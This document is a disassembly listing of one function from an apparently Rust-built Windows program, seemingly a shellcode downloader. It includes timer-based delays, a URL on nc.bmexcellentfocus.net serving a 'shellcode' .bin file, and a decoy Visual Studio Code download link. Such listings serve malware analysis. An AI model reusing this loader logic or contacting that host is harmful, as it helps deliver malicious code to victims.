Function at 0x1400e0d40
Capabilities:
Check os version
Get number of processors

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4d8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x440], xmm6
mov qword [rbp + 0x438], 0xfffffffffffffffe
mov r12, r8
mov rsi, rdx
mov rdi, rcx
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x1400e0d9e
cmp eax, 1
je 0x1400e0dcb
jmp 0x1400e219e
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e0d00]
call fcn.1400e72a0
mov byte [rbx + 0x120], 1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11e], 2
jne 0x1400e3437
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
mov byte [r15 + 0x11e], 0
lea rcx, [rsi + 0x1d0]
lea rax, [rsi + 0x170]
test rdi, rdi
cmove rcx, rax
call fcn.1401032f0
mov ebx, eax
mov r14d, edx
cmp dword [r15 + 0x110], 0
je 0x1400e0e50
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov edx, dword [rax + 0x118]
mov ecx, dword [rax + 0x114]
jmp 0x1400e0e67
call fcn.1400f75a0
mov rcx, rax
shr rcx, 0x20
cmp eax, 2
mov edx, 1
cmovae edx, eax
mov eax, dword [0x140198314]
mov r8, qword gs:[0x58]
mov rax, qword [r8 + rax*8]
mov dword [rax + 0x110], 1
mov dword [rax + 0x114], ebx
mov dword [rax + 0x118], r14d
cmp qword [rax + 0xd0], 0
jne 0x1400e3478
mov eax, dword [0x140198314]
mov r8, qword gs:[0x58]
mov rax, qword [r8 + rax*8]
mov qword [rax + 0xd0], 0xffffffffffffffff
mov eax, 1
mov r8d, 1
lock xadd qword [rsi], r8
test rdi, rdi
je 0x1400e0edc
test r8, r8
jns 0x1400e0ee7
jmp 0x1400e33da
test r8, r8
js 0x1400e33da
xor eax, eax
mov r8d, dword [0x140198314]
mov r9, qword gs:[0x58]
mov r10, qword [r9 + r8*8]
mov r8, qword [r10 + 0xd8]
mov r9, qword [r10 + 0xe0]
mov qword [r10 + 0xd8], rax
mov qword [r10 + 0xe0], rsi
inc qword [r10 + 0xd0]
mov rax, qword [r10 + 0xe8]
cmp rax, 0xffffffffffffffff
je case.0x1400c3d4d.363
inc rax
mov r10d, dword [0x140198314]
mov r11, qword gs:[0x58]
mov r10, qword [r11 + r10*8]
mov qword [r10 + 0xe8], rax
mov qword [rbp + 0x380], r8
mov qword [rbp + 0x388], r9
mov qword [rbp + 0x390], rax
mov dword [rbp + 0x398], ecx
mov dword [rbp + 0x39c], edx
mov rax, qword [r12]
cmp qword [rax], 0
jne 0x1400e34c5
mov qword [rbp + 0x3c0], rax
mov rdi, qword [r12 + 8]
mov qword [rbp + 0x170], r12
mov r12, qword [r12 + 0x10]
lea rsi, [r12 + 8]
lea rax, [r12 + 0x28]
mov qword [rbp + 0x3b8], rax
lea rax, [r12 + 0x118]
mov qword [rbp + 0x3d0], rax
xorps xmm6, xmm6
lea r15, [rbp + 0x50]
mov qword [rbp + 0x3c8], rdi
nop word cs:[rax + rax]
xor eax, eax
xchg qword [rdi + 0x20], rax
test rax, rax
jne 0x1400e2044
mov qword [rbp + 0x178], 2
mov rax, qword [rdi]
shr rax, 2
lea rdx, [rbp + 0x408]
movups xmmword [rdx - 0x18], xmm6
mov qword [rdx - 8], 0
mov qword [rbp + 0x3e0], rdi
mov qword [rbp + 0x3e8], rax
movups xmmword [rdx], xmm6
mov byte [rdx + 0x10], 0
mov eax, dword [rbp + 0x1e1]
mov ecx, dword [rbp + 0x1e4]
mov dword [rdx + 0x14], ecx
mov dword [rdx + 0x11], eax
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc0]
cmp rax, 1
jne 0x1400e2031
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc8]
lock inc qword [rax]
jle 0x1400e33da
add rax, 0x10
lea rcx, fcn.140103f20
mov qword [rbp + 0x3a0], rcx
mov qword [rbp + 0x3a8], rax
lea rax, [rbp + 0x3a0]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], rax
mov qword [rbp + 0x1d0], 0
jmp 0x1400e10cd
cmp rax, 2
jne 0x1400e336e
xor eax, eax
xchg qword [r14 + 0x10], rax
mov al, 1
lock cmpxchg byte [rbx], r13b
jne 0x1400e14d3
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x120]
cmp r13d, 2
je 0x1400e1210
cmp r13d, 1
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [rbp + 0x1e8]
je 0x1400e11d9
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x58], 0
jne 0x1400e3614
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
mov qword [rcx + 0x58], 0xffffffffffffffff
mov rax, qword [case.0x1400b6a78.453]
mov rdi, qword [rcx + 0x70]
mov rax, 0xffffffffffffffff
cmp rdi, qword [rcx + 0x60]
jne 0x1400e1186
call fcn.1400e74d0
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x58]
mov ecx, dword [0x140198314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rdx, qword [rcx + 0x68]
mov r8, rdi
shl r8, 4
lea r9, [rcx + 0xd0]
mov qword [rdx + r8], r9
lea r9, [0x1400e0d00]
mov qword [rdx + r8 + 8], r9
inc rdi
mov qword [rcx + 0x70], rdi
inc rax
mov qword [rcx + 0x58], rax
mov byte [rcx + 0x120], 1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x11c]
movzx ecx, byte [rax + 0x11d]
mov byte [rbp + 0x3d8], cl
mov word [rax + 0x11c], 0x8001
jmp 0x1400e121e
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [rbp + 0x1e8]
mov rdx, qword [rbp + 0x1c0]
lea rcx, [rbp + 0x3e0]
call fcn.1400f6410
test al, al
je 0x1400e12b0
movzx eax, byte [r12 + 0x148]
test eax, eax
je 0x1400e12d0
cmp eax, 3
jne 0x1400e3327
movzx eax, byte [r12 + 0x140]
test eax, eax
je 0x1400e1b70
cmp eax, 3
jne 0x1400e33ce
nop dword [rax]
cmp dword [rsi], 2
jne 0x1400e1d71
mov rax, qword [r12 + 0x10]
mov qword [r12 + 0x10], 0
test rax, rax
je 0x1400e32f7
mov qword [rbp + 0x50], 3
mov qword [rbp + 0x58], rax
jmp 0x1400e1500
xor edi, edi
cmp r13b, 2
jne 0x1400e1daa
jmp 0x1400e1e22
lea rdi, [0x14015cd80]
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f0db0
mov qword [rbp + 0x1e8], 0
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rbp + 0x1e8]
mov rax, r8
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x1400e3333
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], 0
mov qword [rbp - 0x48], r15
lea rax, [0x14000bf90]
mov qword [rbp - 0x40], rax
lea rax, str.Time:
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 2
mov qword [rbp + 0x208], 0
lea rax, [rbp - 0x48]
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x200], 1
mov rcx, rbx
call fcn.1400f0db0
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f0db0
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f0db0
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x1400e14c3
mov rbx, rax
mov qword [rbp + 0x1e8], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rbp + 0x1e8]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x1400e14ba
mov rcx, rbx
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov edi, eax
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp edi, 0xffffffff
jne 0x1400e1b60
jmp 0x1400e14c3
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
jmp 0x1400e1b60
mov rcx, rbx
call fcn.14011e770
jmp 0x1400e10cd
mov rcx, rbx
call fcn.14011e420
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r14 + 0x10], rcx
je 0x1400e1ea8
jmp 0x1400e10b0
mov r8d, 0x98
lea rcx, [rbp - 0x48]
mov rdx, r15
call fcn.140119a10
cmp dword [rsi], 2
jne 0x1400e15b0
mov rbx, qword [r12 + 0x10]
test rbx, rbx
je 0x1400e1926
mov r14, qword [rbx + 0x58]
test r14, r14
je 0x1400e1567
mov rdi, qword [rbx + 0x60]
mov rax, qword [rdi]
test rax, rax
je 0x1400e1543
mov rcx, r14
call rax
cmp qword [rdi + 8], 0
je 0x1400e1567
cmp qword [rdi + 0x10], 0x11
jb 0x1400e1555
mov r14, qword [r14 - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbx]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x1400e1910
test rax, rax
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
je 0x1400e1917
mov r8, qword [rbx + 8]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
jmp 0x1400e1917
cmp byte [r12 + 0x100], 0xa
jb 0x1400e15da
cmp qword [r12 + 0x110], 0
je 0x1400e15da
mov r8, qword [r12 + 0x108]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
cmp qword [r12 + 0x90], 0
je 0x1400e15f9
mov r8, qword [r12 + 0x98]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
cmp qword [r12 + 0x80], 0
je 0x1400e1615
mov r8, qword [r12 + 0x78]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
mov rdi, qword [r12 + 0x58]
test rdi, rdi
je 0x1400e1670
mov rbx, qword [r12 + 0x50]
add rbx, 0x30
jmp 0x1400e164b
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x68
dec rdi
je 0x1400e1670
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x1400e1630
lea rcx, [rbx + 0x28]
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
call qword [rax + 0x10]
jmp 0x1400e1630
cmp qword [r12 + 0x48], 0
je 0x1400e1689
mov r8, qword [r12 + 0x50]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
mov rdi, qword [r12 + 0x70]
test rdi, rdi
je 0x1400e16bb
mov rbx, qword [r12 + 0x68]
add rbx, 0x38
nop dword [rax]
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x48
dec rdi
jne 0x1400e16a0
cmp qword [r12 + 0x60], 0
je 0x1400e16d4
mov r8, qword [r12 + 0x68]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
cmp qword [rsi], 0
je 0x1400e16f8
mov rax, qword [r12 + 0x10]
test rax, rax
je 0x1400e16f8
mov rdx, qword [r12 + 0x18]
mov r8, qword [r12 + 0x20]
mov rcx, qword [rbp + 0x3b8]
call qword [rax + 0x10]
mov rdi, qword [r12 + 0xf8]
test rdi, rdi
je 0x1400e1750
mov rbx, qword [r12 + 0xf0]
add rbx, 8
jmp 0x1400e1729
add rbx, 0x58
dec rdi
je 0x1400e1750
cmp qword [rbx - 8], 0
je 0x1400e1720
mov r8, qword [rbx]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
jmp 0x1400e1720
cmp qword [r12 + 0xe8], 0
je 0x1400e176f
mov r8, qword [r12 + 0xf0]
mov rcx, qword [0x140198260]
xor edx, edx
call r14
mov rax, qword [rbp + 0x3d0]
mov rax, qword [rax]
lock dec qword [rax]
jne 0x1400e178b
mov rcx, qword [rbp + 0x3d0]
call fcn.1400d6b10
mov rbx, qword [r12 + 0x120]
mov rdi, qword [r12 + 0x128]
mov rax, qword [rdi]
test rax, rax
je 0x1400e17a8
mov rcx, rbx
call rax
cmp qword [rdi + 8], 0
je 0x1400e17c9
cmp qword [rdi + 0x10], 0x11
jb 0x1400e17ba
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call r14
mov rbx, qword [r12 + 0x138]
test rbx, rbx
je 0x1400e1926
cmp qword [rbx], 0
mov r15, qword [rbx + 8]
mov eax, 0x118
mov ecx, 0xb8
cmove rax, rcx
cmp dword [r15 + rax + 0xa8], 0x3b9aca00
je 0x1400e330f
lea r14, [rbx + 8]
add r15, rax
lea rdi, [rbx + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r15 + 0x58], cl
jne 0x1400e18b9
mov rax, qword [rbx + 0x40]
cmp rax, 0xffffffffffffffff
je 0x1400e1833
lea rcx, [r15 + 0x60]
mov rdx, rdi
call fcn.1400f7b30
mov rax, qword [rbx + 0x40]
cmp rax, 0xffffffffffffffff
je 0x1400e1890
mov byte [rbx + 0x60], 0
mov qword [rbx + 0x40], 0xffffffffffffffff
mov rax, qword [rbx + 0x58]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rbx + 0x58], rcx
jne 0x1400e1850
test rax, rax
jne 0x1400e1890
mov rax, qword [rbx + 0x48]
mov rcx, qword [rbx + 0x50]
mov qword [rbx + 0x48], 0
lock and qword [rbx + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x1400e1890
call qword [rax + 0x18]
nop word cs:[rax + rax]
mov al, 1
xor ecx, ecx
lock cmpxchg byte [r15 + 0x58], cl
jne 0x1400e18d5
cmp qword [rbx], 0
je 0x1400e18e7
mov rax, qword [r14]
lock dec qword [rax]
lea r15, [rbp + 0x50]
jne 0x1400e1900
mov rcx, r14
call fcn.1400d5a50
jmp 0x1400e1900
lea rcx, [r15 + 0x58]
call fcn.14011e420
mov rax, qword [rbx + 0x40]
cmp rax, 0xffffffffffffffff
jne 0x1400e1827
jmp 0x1400e1833
add r15, 0x58
mov rcx, r15
call fcn.14011e770
cmp qword [rbx], 0
jne 0x1400e18a2
mov rax, qword [r14]
lock dec qword [rax]
lea r15, [rbp + 0x50]
jne 0x1400e1900
mov rcx, r14
call fcn.1400d5800
nop dword [rax]
mov rax, qword [rbx + 0x48]
test rax, rax
je 0x1400e1910
mov rcx, qword [rbx + 0x50]
call qword [rax + 0x18]
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call r14
cmp dword [rbp - 0x48], 3
jne 0x1400e19e0
lea rax, [0x14015cd80]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
mov rcx, r15
call fcn.1400f0db0
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x1400e1ccd
mov rbx, rax
mov qword [rbp + 0x50], 0xfffffffffe363c80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r15
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x1400e1cc4
mov rcx, rbx
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov edi, eax
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp edi, 0xffffffff
jne 0x1400e1cd8
jmp 0x1400e1ccd
lea rax, [0x14015cd80]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
mov rcx, r15
call fcn.1400f0db0
lea rcx, [rbp - 0x48]
call fcn.1400df120
mov rax, qword [r12]
lock dec qword [rax]
lea rdi, [rbp + 0x1e8]
jne 0x1400e1a29
mov rcx, r12
call fcn.1400d6b10
mov byte [r12 + 0x140], 1
lea rbx, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_shellcodeAny_20240716014051290.binhs
mov rcx, rbx
lea rdx, [0x14015ce1b]
call fcn.1400e4090
mov r8d, 0xb
mov rcx, rdi
mov rdx, rbx
call fcn.1400ebc10
mov rbx, qword [rbp + 0x1e8]
movabs rax, 0x8000000000000000
cmp rbx, rax
je 0x1400e1b60
mov rdi, qword [rbp + 0x1f0]
mov r8, qword [rbp + 0x1f8]
cmp byte [rbp + 0x200], 0
je 0x1400e1ed3
lea rcx, [rbp - 0x48]
mov rdx, rdi
call fcn.140003650
movabs rax, 0x8000000000000000
cmp qword [rbp - 0x48], rax
jne 0x1400e1b92
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x1400e1f9c
mov r14, rax
mov qword [rbp + 0x1e8], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rbp + 0x1e8]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x1400e1f93
mov rcx, r14
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov r15, rdi
mov edi, eax
mov rcx, r14
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp edi, 0xffffffff
mov rdi, r15
lea r15, [rbp + 0x50]
je 0x1400e1f9c
test rbx, rbx
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
je 0x1400e1b60
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rdi
call r14
nop word cs:[rax + rax]
mov byte [r12 + 0x140], 0
lea rbx, [rbp + 0x1e8]
mov rcx, rbx
call fcn.1400bfde0
mov rcx, rbx
call fcn.1400b5a30
test rax, rax
jne 0x1400e329a
mov qword [r12], rdx
jmp 0x1400e1cec
mov qword [rbp + 0x3b0], rdi
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x60], rax
movups xmm0, xmmword [rbp - 0x48]
movaps xmmword [rbp + 0x50], xmm0
call fcn.140003bc0
call fcn.1400017c0
mov r14, rax
and eax, 3
cmp eax, 1
jne 0x1400e1c10
mov r15, qword [r14 - 1]
mov rdi, qword [r14 + 7]
mov rax, qword [rdi]
test rax, rax
je 0x1400e1bd3
mov rcx, r15
call rax
cmp qword [rdi + 8], 0
je 0x1400e1bf7
cmp qword [rdi + 0x10], 0x11
jb 0x1400e1be5
mov r15, qword [r15 - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
dec r14
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea r15, [rbp + 0x50]
lea rcx, [rbp + 0x1e8]
call fcn.140001b90
cmp qword [rbp + 0x1e8], 0
je 0x1400e1c38
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x1400e1c38
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400e81b0
call fcn.140004c80
lea rax, [0x14015cd80]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
lea rcx, [rbp + 0x1e8]
call fcn.1400f0db0
mov rcx, r15
call fcn.1400015a0
mov dil, 1
test rbx, rbx
mov rax, qword [sym.imp.kernel32.dll_HeapFree]
je 0x1400e1f7a
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, qword [rbp + 0x3b0]
call rax
mov al, 1
mov byte [r12 + 0x148], al
cmp r13b, 2
je 0x1400e1e22
jmp 0x1400e1daa
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
lea rcx, [rbp - 0x48]
call fcn.1400df120
mov rdx, qword [r12]
lea rbx, [rbp + 0x1e8]
mov rcx, r15
lea r8, str.https:__code.visualstudio.com_download
call fcn.1400e42d0
cmp dword [rbp + 0x50], 2
jne 0x1400e1d30
mov qword [rbp + 0x1e8], 2
mov rax, qword [rbp + 0x58]
mov rdi, qword [rbp + 0x160]
mov qword [rbp + 0x1f0], rax
lock dec qword [rdi]
je 0x1400e1d4b
jmp 0x1400e1d57
mov rdi, qword [rbp + 0x160]
mov rcx, rbx
mov rdx, rdi
mov r8, r15
call fcn.1400b7ed0
lock dec qword [rdi]
jne 0x1400e1d57
lea rcx, [rbp + 0x160]
call fcn.140072ed0
mov r8d, 0x138
mov rcx, rsi
mov rdx, rbx
call fcn.140119a10
cmp dword [rsi], 2
je 0x1400e1279
mov rcx, r15
mov rdx, rsi
lea r8, [rbp + 0x1c0]
call fcn.1400bbe20
cmp qword [rbp + 0x50], 4
jne 0x1400e1500
mov byte [r12 + 0x140], 3
mov al, 3
mov dil, 2
mov byte [r12 + 0x148], al
cmp r13b, 2
je 0x1400e1e22
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 2
je 0x1400e1e22
cmp eax, 1
je 0x1400e1dfb
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400f6a40]
call fcn.1400e72a0
mov byte [rbx + 0x120], 1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], r13b
movzx ecx, byte [rbp + 0x3d8]
mov byte [rax + 0x11d], cl
cmp dil, 2
jne 0x1400e1fd0
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xc0]
cmp rax, 1
mov r13d, 0
jne 0x1400e1f67
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xc8]
mov eax, 2
lock cmpxchg qword [r14 + 0x10], r13
je 0x1400e10cd
lea rbx, [r14 + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r14 + 0x20], cl
jne 0x1400e14e0
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r14 + 0x10], rcx
jne 0x1400e10b0
lea rdi, [r14 + 0x18]
nop dword [rax]
mov rcx, rdi
mov rdx, rbx
mov r9d, 0x3b9aca00
call fcn.140042510
mov eax, 2
lock cmpxchg qword [r14 + 0x10], r13
jne 0x1400e1eb0
jmp 0x1400e10c0
test r8, r8
je 0x1400e1a8e
lea rax, [rdi + r8]
mov rdx, rdi
jmp 0x1400e1efc
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
mov rdx, rcx
cmp rcx, rax
je 0x1400e1a8e
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x1400e1ef0
cmp r9b, 0xe0
jb 0x1400e1ee5
cmp r9b, 0xed
jne 0x1400e1f3e
cmp rcx, rax
je 0x1400e1a8e
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x1400e1a8e
cmp byte [rdx + 1], 0x9f
ja 0x1400e1fbc
add rdx, 3
mov rcx, rdx
jmp 0x1400e1ef0
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x1400e1ef0
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x1400e1ef0
test rax, rax
jne 0x1400e32cc
call fcn.1401253d0
jmp 0x1400e1e56
mov al, 1
mov byte [r12 + 0x148], al
cmp r13b, 2
je 0x1400e1e22
jmp 0x1400e1daa
mov rcx, r14
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
test rbx, rbx
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
jne 0x1400e1b42
jmp 0x1400e1b60
test rbx, rbx
jne 0x1400e1b42
jmp 0x1400e1b60
mov rax, qword [rbp + 0x3a0]
mov rcx, qword [rbp + 0x3a8]
call qword [rax + 0x18]
lea rcx, [rbp + 0x3e0]
call fcn.1400f68e0
mov rax, qword [rbp + 0x400]
test dil, dil
mov rdi, qword [rbp + 0x3c8]
jne 0x1400e21c9
test rax, rax
je 0x1400e2013
mov rcx, qword [rbp + 0x408]
call qword [rax + 0x18]
cmp dword [rbp + 0x178], 2
je 0x1400e0fd0
lea rcx, [rbp + 0x178]
call fcn.1400e36e0
jmp 0x1400e0fd0
test rax, rax
jne case.0x1400c3700.376
call fcn.1401253d0
jmp 0x1400e104f
mov rcx, qword [rbp + 0x3c0]
mov rcx, qword [rcx + 8]
lock inc qword [rcx]
jle 0x1400e33da
mov qword [rbp + 0x178], 0
mov qword [rbp + 0x180], rcx
mov qword [rbp + 0x188], 0
mov qword [rbp + 0x190], rax
xorps xmm0, xmm0
lea rax, [rbp + 0x198]
movups xmmword [rax], xmm0
mov qword [rbp + 0x1a8], 8
mov qword [rbp + 0x1b0], 0
mov qword [rbp + 0x1b8], rdi
mov qword [rbp + 0x420], rdi
mov rax, qword [rbp + 0x178]
mov rcx, qword [rbp + 0x180]
mov rdx, qword [rbp + 0x188]
mov r8, qword [rbp + 0x190]
movups xmm1, xmmword [rbp + 0x198]
movaps xmmword [rbp + 0x400], xmm1
mov qword [rbp + 0x3f0], rdx
mov qword [rbp + 0x3f8], r8
mov qword [rbp + 0x3e0], rax
mov qword [rbp + 0x3e8], rcx
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x410], rax
mov rax, qword [rbp + 0x1b0]
mov qword [rbp + 0x418], rax
cmp qword [rbp + 0x3e0], 0
mov rax, qword [rbp + 0x170]
jne 0x1400e3541
cmp qword [rbp + 0x3f0], 0
jne 0x1400e357f
mov r14, qword [rax + 0x10]
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rbx, qword [rbp + 0x3f8]
mov qword [rbp + 0x3f8], 0
test rbx, rbx
je 0x1400e358b
mov qword [rbp + 0x3f0], 0
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x1400e21f6
cmp eax, 1
lea rsi, [0x14015cd80]
je 0x1400e222a
mov rcx, rbx
call fcn.140075280
lea rax, [0x140162030]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_c6727fc9b5c64cefa7263486497ee95e529bd0f8library_std_src_threadlocal.rs
lea r9, [0x140161cb0]
lea r8, [rbp + 0x430]
mov edx, 0x46
call fcn.14011acb0
test rax, rax
je 0x1400e21d8
mov rcx, qword [rbp + 0x408]
call qword [rax + 0x18]
cmp dword [rbp + 0x178], 2
je 0x1400e321c
lea rcx, [rbp + 0x178]
call fcn.1400e36e0
jmp 0x1400e321c
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e0d00]
call fcn.1400e72a0
mov byte [rsi + 0x120], 1
lea rsi, [0x14015cd80]
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x108]
mov qword [rbp + 0x3c8], rcx
lea rcx, [rbp + 0x3e0]
mov qword [rax + 0x108], rcx
mov rax, qword [rbp + 0x3e8]
lea rcx, [rax + 0x10]
mov byte [rax + 0xb0], 1
lea rdx, [0x140162450]
